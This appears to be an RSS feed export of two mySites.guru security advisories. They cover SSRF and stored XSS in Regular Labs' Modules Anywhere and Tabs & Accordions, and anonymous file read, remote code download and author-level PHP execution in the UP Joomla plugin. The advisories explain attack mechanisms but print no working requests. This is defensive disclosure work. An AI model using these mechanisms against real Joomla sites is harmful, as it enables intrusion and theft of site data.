&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;7.5&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100751/&quot;&gt;CVE-2026-100751&lt;/a&gt;Tabs &amp;amp; Accordions: stored XSS through data-rlta-url&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A javascript: URL in a tab or accordion&apos;s url option was passed to window.open() when a visitor opened the item, so script from a content author ran in the visitor&apos;s browser, including a logged-in administrator&apos;s. Affects Free and Pro, 2.3.0 to 3.1.0.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/S:N/AU:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Content author account needed&lt;/span&gt;&lt;span&gt;Free and Pro&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Modules Anywhere&lt;/th&gt;&lt;th&gt;Tabs &amp;amp; Accordions&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Weakness&lt;/td&gt;&lt;td&gt;Server-side request forgery (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/918.html&quot;&gt;CWE-918&lt;/a&gt;)&lt;/td&gt;&lt;td&gt;Stored cross-site scripting (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected&lt;/td&gt;&lt;td&gt;Pro, 1.5.0 to 9.0.5&lt;/td&gt;&lt;td&gt;Free and Pro, 2.3.0 to 3.1.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;10.0.0&lt;/td&gt;&lt;td&gt;3.2.0&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;This changes what we wrote on release day. The Modules Anywhere issue reaches the server itself: Joomla’s own Feed module opens its feed URL server-side and accepts local &lt;code&gt;file:&lt;/code&gt; URLs, so an author who can override that setting can read files from the site’s server or make it request other addresses. Every Modules Anywhere Pro release back to 1.5.0 is affected, so the 7.x Joomla 3 branch and the 8.x releases are in range alongside 9.x. Tabs &amp;amp; Accordions Free is affected as well as Pro.&lt;/p&gt;
&lt;p&gt;We have widened our flags to match. A day after release, 41% of the Tabs &amp;amp; Accordions installs we monitor and 72% of Modules Anywhere installs are still on an affected build.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Modules Anywhere 10.0.0&lt;/strong&gt; fixes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100750/&quot;&gt;CVE-2026-100750&lt;/a&gt; (High, 8.5): before it, a content author could override the settings of any module they embedded, and through Joomla’s Feed module read files from the server. Pro 1.5.0 to 9.0.5 is affected&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tabs &amp;amp; Accordions 3.2.0&lt;/strong&gt; fixes &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100751/&quot;&gt;CVE-2026-100751&lt;/a&gt; (High, 7.5): &lt;code&gt;data-rlta-url&lt;/code&gt; attributes accepted executable JavaScript URLs, so a content author could plant script that ran for visitors. Free and Pro 2.3.0 to 3.1.0 are affected&lt;/li&gt;
&lt;li&gt;Free and Pro share one version number, so mySites.guru flags both editions of both extensions&lt;/li&gt;
&lt;li&gt;87% of the affected Tabs &amp;amp; Accordions installs we monitor are on 3.1.0, the release that fixed a different Tabs &amp;amp; Accordions issue two weeks ago&lt;/li&gt;
&lt;li&gt;Modules Anywhere 10.0.0 is marked BC BREAK, and moves several settings into a new Process Tags section&lt;/li&gt;
&lt;li&gt;No Joomla 3 fix: the Modules Anywhere Joomla 3 branch stopped at 7.18.0 and is affected, and Tabs &amp;amp; Accordions has no Joomla 3 version&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site running Modules Anywhere below 10.0.0 or Tabs &amp;amp; Accordions 2.3.0 to 3.1.x&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What changed in Modules Anywhere 10.0.0&lt;/h2&gt;
&lt;p&gt;Modules Anywhere lets you place any Joomla module inside an article with a tag. The Pro edition lets that tag override the module’s own settings, so one module can be shown with different options in different places. Before 10.0.0, any content author could use those overrides on any module they could embed.&lt;/p&gt;
&lt;p&gt;The changelog is specific about the consequence: the fix “restricts module parameter overrides to trusted sources by default, preventing content authors from changing feed URLs and other module settings”. An author who can embed a feed module can point it at a feed they control, and the site will display whatever that feed contains, under the site’s own name.&lt;/p&gt;
&lt;p&gt;The CVE record goes further. Joomla’s core Feed module fetches its URL on the server, and it accepts local &lt;code&gt;file:&lt;/code&gt; URLs as well as network addresses. So the same override lets an author read files the web server can see, or make the server request internal addresses it can reach and outsiders cannot. That is server-side request forgery (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/918.html&quot;&gt;CWE-918&lt;/a&gt;), and it is why &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100750/&quot;&gt;CVE-2026-100750&lt;/a&gt; scores 8.5 despite needing a logged-in author. The Feed module is the documented example, and any other module setting is open to the same override.&lt;/p&gt;
&lt;p&gt;10.0.0 adds settings for trusted component and module sources, and only accepts overrides from those by default. A related Pro entry fixes module and title tag overrides accepting unsafe HTML element names.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;10.0.0 changes behaviour on update&lt;/p&gt;&lt;div&gt;&lt;p&gt;Regular Labs marks this release BC BREAK. Parameter overrides from sources that are not trusted stop working after the update, and the previous area, tag-removal and Sourcerer settings are migrated into the new Process Tags settings. If your articles override module settings in a tag, test them on a staging copy first and allow the sources you trust, rather than switching the restriction off.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What changed in Tabs &amp;amp; Accordions 3.2.0&lt;/h2&gt;
&lt;p&gt;The second issue scores lower. Tabs &amp;amp; Accordions turns simple tags in an article into tabs and accordion panels. Each panel can have a &lt;code&gt;data-rlta-url&lt;/code&gt; attribute, and before 3.2.0 the extension accepted a &lt;code&gt;javascript:&lt;/code&gt; URL there. The changelog entry reads, in full: “Fixes data-rlta-url attributes accepting executable JavaScript URLs”.&lt;/p&gt;
&lt;p&gt;In practice, anyone allowed to write or edit an article could put script into a tab that ran in the browser of anyone who opened it: the browser code hands the value to &lt;code&gt;window.open()&lt;/code&gt; when the item is activated. Joomla’s text filters see only ordinary plugin syntax when the article is saved, because the dangerous attribute is created later, when the page is rendered. That is a stored cross-site scripting issue (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79&lt;/a&gt;), and on most Joomla sites the people who read articles include logged-in editors and administrators, so the script can run with their rights. It needs an account that can author content, which keeps it away from anonymous visitors on sites that only give authoring rights to staff.&lt;/p&gt;
&lt;p&gt;The same release fixes title-tag attributes accepting unsafe HTML element names, and adds the new Process Tags security controls in both editions. It also moves the administrator tag-processing option into the Security settings, which is worth checking after the update if you changed it.&lt;/p&gt;
&lt;h3&gt;This is the second Tabs &amp;amp; Accordions fix in two weeks&lt;/h3&gt;
&lt;p&gt;On 13 September Regular Labs shipped &lt;a href=&quot;https://mysites.guru/blog/regular-labs-september-2026-security-updates/&quot;&gt;Tabs &amp;amp; Accordions 3.1.0&lt;/a&gt; to fix crafted &lt;code&gt;data-rlta-alias&lt;/code&gt; attributes running JavaScript when a matching link was clicked. That was a different attribute. 3.1.0 did not touch &lt;code&gt;data-rlta-url&lt;/code&gt;, so a site that updated promptly in September is still exposed to this one.&lt;/p&gt;
&lt;p&gt;We can see the installed version of Tabs &amp;amp; Accordions on every Joomla site connected to mySites.guru, and the September update did its job: most sites moved to 3.1.0. That is exactly why so many need to move again.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93%&lt;/div&gt;&lt;div&gt;on a 3.x build&lt;/div&gt;&lt;div&gt;all inside the range the 3.2.0 fix covers&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;87%&lt;/div&gt;&lt;div&gt;of those on 3.1.0&lt;/div&gt;&lt;div&gt;updated in September, need to update again&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;32%&lt;/div&gt;&lt;div&gt;Free edition&lt;/div&gt;&lt;div&gt;of the affected installs, also covered by the CVE&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Share of Tabs &amp;amp; Accordions installs on Joomla sites connected to mySites.guru, measured on 27 September 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;This is a pattern we see with Regular Labs more than most vendors: they fix a class of problem one attribute or one feature at a time, over several releases. &lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer needed three releases&lt;/a&gt; to close one issue in August. Being fully up to date with a Regular Labs extension means you have the fixes shipped so far, and the next one may be a fortnight away.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites can take these updates?&lt;/h2&gt;
&lt;p&gt;Only Joomla 4, 5 and 6 sites. Regular Labs’ own &lt;a href=&quot;https://download.regularlabs.com/updates.xml&quot;&gt;update feed&lt;/a&gt; was already offering Modules Anywhere 10.0.0 and Tabs &amp;amp; Accordions 3.2.0 to Joomla 4 to 6 by the evening of release day, unlike the September batch, where the feed lagged the changelog for part of the day.&lt;/p&gt;
&lt;p&gt;Joomla 3 is a different story. Across the Joomla sites connected to mySites.guru, 31% of Modules Anywhere installs are on the 7.x branch, and 98% of those sites run Joomla 3. That branch has been frozen at 7.18.0 since &lt;a href=&quot;https://joomla3security.com/vendors/regular-labs/&quot;&gt;Regular Labs stopped building for Joomla 3&lt;/a&gt;, and it will not get this fix. The CVE record covers every Pro release from 1.5.0, so 7.x is affected, and we now flag it for this issue on top of &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;the July fixes it never received&lt;/a&gt;. Tabs &amp;amp; Accordions has no Joomla 3 version at all.&lt;/p&gt;
&lt;p&gt;For those sites the answer is the one it has been since 2023: &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;plan the move off Joomla 3&lt;/a&gt;. On Joomla 4 and later, 57% of Modules Anywhere installs were on 9.x on release day, most of them on 9.0.5, and a smaller group is still on 8.x. Both need 10.0.0.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags these Regular Labs releases&lt;/h2&gt;
&lt;p&gt;mySites.guru records the exact version of every extension on every connected Joomla site twice a day. On release day we added entries to our Joomla vulnerability database, and when the CVE records were published we widened them to &lt;a href=&quot;https://mysites.guru/vulnerabilities/modulesanywhere/&quot;&gt;Modules Anywhere 1.5.0 to below 10.0.0&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/tabsaccordions/&quot;&gt;Tabs &amp;amp; Accordions 2.3.0 to below 3.2.0&lt;/a&gt;, so every connected site running an affected build is flagged on its dashboard and in its audit, with the version that resolves it.&lt;/p&gt;
&lt;p&gt;Because Regular Labs ships Free and Pro under one version number, the flag cannot tell the two editions apart, so a Free Modules Anywhere site on 9.0.5 is flagged too, even though that CVE covers only Pro. That is the right way round: updating a Free install is quick and free, and a missed Pro site is not. The &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; explains how these flags work for every extension we track.&lt;/p&gt;
&lt;p&gt;When a whole family of extensions moves on the same day, updating them one site at a time is the part that gets skipped. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;update Joomla extensions across every connected site&lt;/a&gt; from one screen, and if you would rather not babysit the next Regular Labs wave, &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;enable extension auto-updates&lt;/a&gt; for the extensions you trust.&lt;/p&gt;
&lt;h2&gt;Who can author content on your Joomla sites?&lt;/h2&gt;
&lt;p&gt;Both issues start with an account that can write articles, so the size of the risk on a given site is the number of those accounts and how carefully they were given out. On a brochure site where only two staff members write content, it is small. On a membership site, a school, or anything that lets people register and contribute articles, the author role is exactly where an attacker would start.&lt;/p&gt;
&lt;p&gt;Until every site is updated:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check whether front-end registration is switched on, and whether new users can reach a group with authoring rights&lt;/li&gt;
&lt;li&gt;Remove authoring rights from accounts that no longer need them, and delete accounts that have never logged in&lt;/li&gt;
&lt;li&gt;Keep Joomla’s text filters strict for Registered and Author groups, so raw HTML and script are stripped on save&lt;/li&gt;
&lt;li&gt;Review recently edited articles that use Tabs &amp;amp; Accordions or Modules Anywhere tags if you do not trust every author&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/useraccountsandaccess/enableregistration&quot;&gt;Disable User Registration Unless Required&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/useraccountsandaccess/enableregistration&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If you find script or module settings you did not put there, treat the site as compromised and work through &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;our Joomla hacked-site guide&lt;/a&gt;, or have us &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix it for you&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you run Regular Labs extensions on more than a few sites, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; flags every connected site the day a Regular Labs fix is published, and the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows what it finds on your own sites first.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/latest-releases&quot;&gt;Regular Labs latest releases&lt;/a&gt; - the vendor&apos;s changelog index&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/modulesanywhere/download&quot;&gt;Modules Anywhere 10.0.0 download&lt;/a&gt; - Free and Pro, with the full changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/tabsaccordions/download&quot;&gt;Tabs &amp;amp; Accordions 3.2.0 download&lt;/a&gt; - Free and Pro, with the full changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/regular-labs-september-2026-security-updates/&quot;&gt;Regular Labs Publishes 24 Joomla Extension Updates Including 10 Security Fixes&lt;/a&gt; - the 13 September batch, including the Tabs &amp;amp; Accordions 3.1.0 fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100750&quot;&gt;CVE-2026-100750&lt;/a&gt; - the Joomla CNA record for the Modules Anywhere issue&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100751&quot;&gt;CVE-2026-100751&lt;/a&gt; - the Joomla CNA record for the Tabs &amp;amp; Accordions issue&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/918.html&quot;&gt;CWE-918: Server-Side Request Forgery&lt;/a&gt; - the weakness class behind the Modules Anywhere fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Improper Neutralization of Input During Web Page Generation&lt;/a&gt; - the weakness class behind the Tabs &amp;amp; Accordions fix&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>regular labs</category><category>joomla extensions</category><category>vulnerability</category><category>updates</category><enclosure url="https://mysites.guru/img/og/blog/regular-labs-modules-anywhere-10-tabs-accordions-3-2-security.png" length="0" type="image/png"/></item><item><title>UP 6.1.0 fixes file read and code execution in the UP plugin for Joomla</title><link>https://mysites.guru/blog/up-plugin-joomla-unauthenticated-vulnerabilities/</link><guid isPermaLink="true">https://mysites.guru/blog/up-plugin-joomla-unauthenticated-vulnerabilities/</guid><description>Before UP 6.1.0, one anonymous request could read a Joomla site&apos;s configuration.php through the UP plugin, and any author could run PHP. We found it.</description><pubDate>Sat, 26 Sep 2026 17:04:10 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/conseilgouz/up&quot;&gt;UP&lt;/a&gt;, the Universal Plugin, is a Joomla content plugin that reads &lt;code&gt;{up ...}&lt;/code&gt; shortcodes out of article text and acts on them while the page renders. About 160 actions ship with it. Most are harmless: embed a video or a map, make a table responsive, list articles by tag. A handful do far more, running PHP, querying the database, reading files, and fetching code from GitHub. Its maintainer released UP 6.1.0 on 26 September 2026, and it fixes a set of flaws we found in 6.0.29 and reported privately in August.&lt;/p&gt;
&lt;p&gt;The worst of them needed nothing but a web browser. UP answers requests on Joomla’s anonymous AJAX endpoint, and in 6.0.29 one of those requests returned any file the server could read, &lt;code&gt;configuration.php&lt;/code&gt; and the database password inside it included.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update UP now&lt;/p&gt;&lt;div&gt;&lt;p&gt;UP 6.1.0 (Joomla 5.2 to 6.x) and UP 5.2.1 (Joomla 3.10 to 5.1) are the fixed releases. The maintainer lists every version from 5.0 to 6.0.29 as affected. This post describes the mechanisms and leaves the working requests out.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update UP to &lt;strong&gt;6.1.0&lt;/strong&gt; on Joomla 5.2 to 6.x, or &lt;strong&gt;5.2.1&lt;/strong&gt; on Joomla 3.10 to 5.1. Every version from 5.0 to 6.0.29 is affected&lt;/li&gt;
&lt;li&gt;In 6.0.29 an anonymous request could make the site &lt;strong&gt;download action code from GitHub&lt;/strong&gt; with certificate checks switched off, the route to running someone else’s code&lt;/li&gt;
&lt;li&gt;A second anonymous request &lt;strong&gt;read any file&lt;/strong&gt; the web server could read, &lt;code&gt;configuration.php&lt;/code&gt; included&lt;/li&gt;
&lt;li&gt;Anyone who could &lt;strong&gt;write an article&lt;/strong&gt; could run PHP and query the whole database, and it ran for every visitor to that page&lt;/li&gt;
&lt;li&gt;A third anonymous request could &lt;strong&gt;create files outside the folder&lt;/strong&gt; they were meant for&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97160/&quot;&gt;CVE-2026-97160&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97163/&quot;&gt;CVE-2026-97163&lt;/a&gt;&lt;/strong&gt;, scored up to 10.0 Critical by the Joomla CNA&lt;/li&gt;
&lt;li&gt;It took fifteen release candidates over four weeks to close every route, and we retested each one, because more than once a changelog said “fixed” over code that was not&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected site on an affected version, so you do not have to check each one by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The findings, by who could exploit them&lt;/h2&gt;
&lt;p&gt;Whether a flaw needs a login decides how urgent it is, so here they are grouped that way. Three needed no login at all.&lt;/p&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;/th&gt;&lt;th&gt;Flaw in 6.0.29&lt;/th&gt;&lt;th&gt;Who can exploit it&lt;/th&gt;&lt;th&gt;What it exposes&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;Anonymous trigger to install action code from GitHub&lt;/td&gt;&lt;td&gt;Anyone, no login&lt;/td&gt;&lt;td&gt;Code execution, if the download can be steered&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97163/&quot;&gt;CVE-2026-97163&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Arbitrary file read on the AJAX endpoint&lt;/td&gt;&lt;td&gt;Anyone, no login&lt;/td&gt;&lt;td&gt;&lt;code&gt;configuration.php&lt;/code&gt;, and any other file the server can read&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97161/&quot;&gt;CVE-2026-97161&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;PHP and SQL actions open to article authors&lt;/td&gt;&lt;td&gt;Anyone who can write an article&lt;/td&gt;&lt;td&gt;PHP execution and the whole database, for every visitor&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97160/&quot;&gt;CVE-2026-97160&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97162/&quot;&gt;CVE-2026-97162&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;File creation outside the intended folder&lt;/td&gt;&lt;td&gt;Anyone, no login&lt;/td&gt;&lt;td&gt;Stray files written where they should not be&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97161/&quot;&gt;CVE-2026-97161&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Our original report listed a fourth anonymous flaw, a file move and delete endpoint. When the maintainer replied, he pointed out that the file had a PHP syntax error and never ran, which we confirmed. It is tidied up in 6.1.0, but it was never exploitable, so it is not in the table.&lt;/p&gt;
&lt;h2&gt;1. An anonymous request could install code from GitHub&lt;/h2&gt;
&lt;p&gt;UP has a “mini” mode. Rather than ship all its actions, it downloads the one a page needs from the maintainer’s GitHub repository the first time it is used, and unpacks it into the plugin’s own folder, where Joomla runs it.&lt;/p&gt;
&lt;p&gt;In 6.0.29 an anonymous visitor could set that download in motion, and the fetch ran with its TLS certificate checks switched off. On its own the request only chose which file name to ask for inside a fixed repository, so it is not a one-shot takeover. But with the certificate checks off, anyone positioned between the server and GitHub could answer with a different archive, and whatever arrived was unpacked into a folder of PHP that UP includes on demand. Our own provisional score was lower because of that second condition; the Joomla CNA scored it 10.0 Critical. We proved the anonymous trigger on our test site and stopped there, because the next step would have meant serving a payload through the maintainer’s own infrastructure. 6.1.0 restricts the download and turns the certificate checks back on.&lt;/p&gt;
&lt;h2&gt;2. Any file on the server, for anyone who asked&lt;/h2&gt;
&lt;p&gt;One action existed to show a text or CSV file in a popup. The file name came straight from the request, and the endpoint checked neither who was asking nor where the file sat on disk. The file-type limits lived in the code that draws the button, and never in the code that answered the request.&lt;/p&gt;
&lt;p&gt;On our test site, one anonymous request returned a canary file we had placed outside the web root, and &lt;code&gt;configuration.php&lt;/code&gt; came back the same way. That file holds the database username and password, so reading it is close to handing over the database. 6.1.0 restricts this action to the file types it was meant for and keeps it inside the site.&lt;/p&gt;
&lt;h2&gt;3. What an article author could reach, and how the gate kept failing&lt;/h2&gt;
&lt;p&gt;The most drawn-out part of this was not an anonymous flaw. It was the boundary between an ordinary content author and the actions that run code.&lt;/p&gt;
&lt;p&gt;UP keeps a list of action names reserved for administrators, and when an article is saved it scans the text and blocks the save if a non-administrator used one. That check read the action name exactly as it was typed. The renderer did not. Before deciding which action to run, it rewrote the name several times: stripping editor markup, changing the case, swapping punctuation, and applying a dictionary of alternative names the plugin accepts for convenience.&lt;/p&gt;
&lt;p&gt;Each rewrite was a way in. Typed in a form the check did not recognise but the renderer did, a shortcode saved cleanly and still ran. The clearest demonstration was a matched pair: one spelling of an action blocked, another spelling of the same action, by the same user on the same build, saved and ran. Behind that gate sat an action that runs PHP and an action that reads the database directly, so a low-privilege author could reach code execution and the users table on a page any anonymous visitor could then open.&lt;/p&gt;
&lt;p&gt;Closing this took several tries. One release worked out the real name once, in a single function used by both the save check and the renderer, which shut all four routes at once. The next release dropped one lookup from that function and reopened one of them, which we proved live and reported the same morning; the release after restored it. The version that shipped reserves the risky actions to administrators, checks at save time and again at render time, and matches the name the same way in both places.&lt;/p&gt;
&lt;p&gt;The PHP and SQL actions still exist for administrators, by design. So on a site running UP, an administrator writing an article can read almost any table in the database. Keep that in mind when you decide who holds administrator access. It is also a reason to be wary of any flaw elsewhere that could forge an administrator’s request.&lt;/p&gt;
&lt;h2&gt;A permission check that took the site down&lt;/h2&gt;
&lt;p&gt;One release added a missing permission check to an AJAX handler. It was the right check, written in a way that could not run: it referred to the current object inside a static function, which PHP does not allow. The moment an unauthorised visitor triggered it, PHP raised a fatal error.&lt;/p&gt;
&lt;p&gt;On the increasingly common FrankenPHP setup that was not a tidy error page. The failure produced a response the web server could not send, and the server process fell over. In our lab, one anonymous request took the whole site down until it was restarted by hand. It was corrected in the next candidate and stayed corrected through release, but it is a neat illustration of why a fix has to be run, not just read: the code looked right.&lt;/p&gt;
&lt;h2&gt;How to update UP safely&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;take a snapshot&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;run a full backup&lt;/a&gt; before you touch a live site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 6.1.0 or 5.2.1.&lt;/strong&gt; On one site, use Joomla’s System, Update, Extensions screen. Across several, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; to push it to every site at once.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; Check each site’s extension list shows UP 6.1.0 (or 5.2.1 on older Joomla) or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look for files you did not put there.&lt;/strong&gt; The GitHub-install flaw wrote into the plugin’s own folder, so check for action directories and PHP files under it that you do not recognise.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Review who can write articles, and who is an administrator.&lt;/strong&gt; The author-level route ran for years of installs, and the admin-only actions are powerful by design.&lt;/li&gt;
&lt;/ol&gt;
